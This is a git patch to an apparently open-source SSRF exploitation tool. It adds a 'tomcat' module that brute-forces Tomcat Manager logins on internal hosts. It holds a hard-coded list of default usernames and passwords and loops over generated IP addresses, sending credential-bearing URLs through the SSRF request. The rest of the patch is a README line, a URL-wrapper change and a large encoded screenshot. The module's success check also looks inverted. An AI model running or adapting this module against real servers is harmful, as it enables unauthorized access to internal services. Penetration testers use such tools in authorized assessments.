From e8751bb51e37de1e132575a417b7bf381ab6bd8f Mon Sep 17 00:00:00 2001 From: Swissky Date: Sat, 29 Dec 2018 22:12:45 +0100 Subject: [PATCH] MODULE - Tomcat module - bruteforce attack against manager --- README.md | 1 + core/utils.py | 4 +++- modules/tomcat.py | 31 +++++++++++++++++++++++++++++ screenshot/tomcat_example_ssrf.png | Bin 0 -> 21250 bytes 4 files changed, 35 insertions(+), 1 deletion(-) create mode 100644 modules/tomcat.py create mode 100644 screenshot/tomcat_example_ssrf.png diff --git a/README.md b/README.md index a883938..e7c5ca8 100644 --- a/README.md +++ b/README.md @@ -69,6 +69,7 @@ The following modules are already implemented and can be used with the `-m` argu | `digitalocean` | Read files from the provider (e.g: meta-data, user-data) | | `socksproxy` | SOCKS4 Proxy | | `smbhash` | Force an SMB authentication via a UNC Path | +| `tomcat` | Bruteforce attack against Tomcat Manager | ## Contribute diff --git a/core/utils.py b/core/utils.py index eacc9ae..6673397 100644 --- a/core/utils.py +++ b/core/utils.py @@ -14,7 +14,9 @@ def wrapper_gopher(data, ip, port): def wrapper_dict(data, ip, port): return "dict://{}:{}/{}".format(ip, port, data) -def wrapper_http(data, ip, port): +def wrapper_http(data, ip, port, usernm=False, passwd=False): + if usernm != False and passwd != False: + return "http://{}:{}@{}:{}/{}".format(usernm, passwd, ip, port, data) return "http://{}:{}/{}".format(ip, port, data) def wrapper_https(data, ip, port): diff --git a/modules/tomcat.py b/modules/tomcat.py new file mode 100644 index 0000000..7b18cb3 --- /dev/null +++ b/modules/tomcat.py @@ -0,0 +1,31 @@ +from core.utils import * +import logging + +name = "tomcat" +description = "Tomcat - Bruteforce manager" +author = "Swissky" +documentation = [ + "https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html", + "https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown" + ] + +class exploit(): + SERVER_HOST = "127.0.0.1" + SERVER_PORT = "8888" + SERVER_TOMCAT = "manager/html" + tomcat_user = ["tomcat", "admin", "both", "manager", "role1", "role", "root"] + tomcat_pass = ["password", "tomcat", "admin", "manager", "role1", "changethis", "changeme", "r00t", "root", "s3cret","Password1", "password1"] + + def __init__(self, requester, args): + logging.info("Module '{}' launched !".format(name)) + + # Using a generator to create the host list + gen_host = gen_ip_list(self.SERVER_HOST, args.level) + for ip in gen_host: + for usr in self.tomcat_user: + for pss in self.tomcat_pass: + payload = wrapper_http(self.SERVER_TOMCAT, ip, self.SERVER_PORT, usernm=usr, passwd=pss) + r = requester.do_request(args.param, payload) + + if not "s3cret" in r.text: + logging.info("Found credential \033[32m{}\033[0m:\033[32m{}\033[0m".format(usr, pss)) \ No newline at end of file diff --git a/screenshot/tomcat_example_ssrf.png b/screenshot/tomcat_example_ssrf.png new file mode 100644 index 0000000000000000000000000000000000000000..f2f32ab5f1dc26ca243800f0c14a164a89c002e4 GIT binary patch literal 21250 zcmcG0WmKHmwrv3c0t9ym?jAh2dvJGx1`qBKB*EQ1xVw9TyF=kcaQDLHRl3jV?)$Ec zcYnMwkQ(sG{&uak_MCIiRiR1>Qpkt|hyVZpSw>o11pt87fV{qZ4GsA@5<0;T`GxRV zTH6T#K@uXZh&bX{NXAv=A=YA=5=R}I ztvHMf#v%ow3kA}3l`gpGF8XcOBIvyn0eiXRDr&-NVXtI3p!O;6d?%svKS+}z@SOIb zj*Vt|on)qFeCP;@s$_n>UcCtTzFdw^8iZELomQb+ZzoxDkFWg0$lT#J3_<#>tZE+4 z*xsDrmP1^Z8E(9OkYj!F53CS0QE35X$_Y_|3hiJ!{Wd&~q)l>k(bqYxMxzk zry>M6M1nZOou+E46B5>vmn_VUOFjaq0Kjw6!e^z5DNp+g0}ba-kH1je-xQy?YlpJb z0)+jHDs#n@`R4q5cXoE5g~NB423fjICykiCkchyeh(7_=eSBQNiZ|fpO20≪SrH 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áv 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 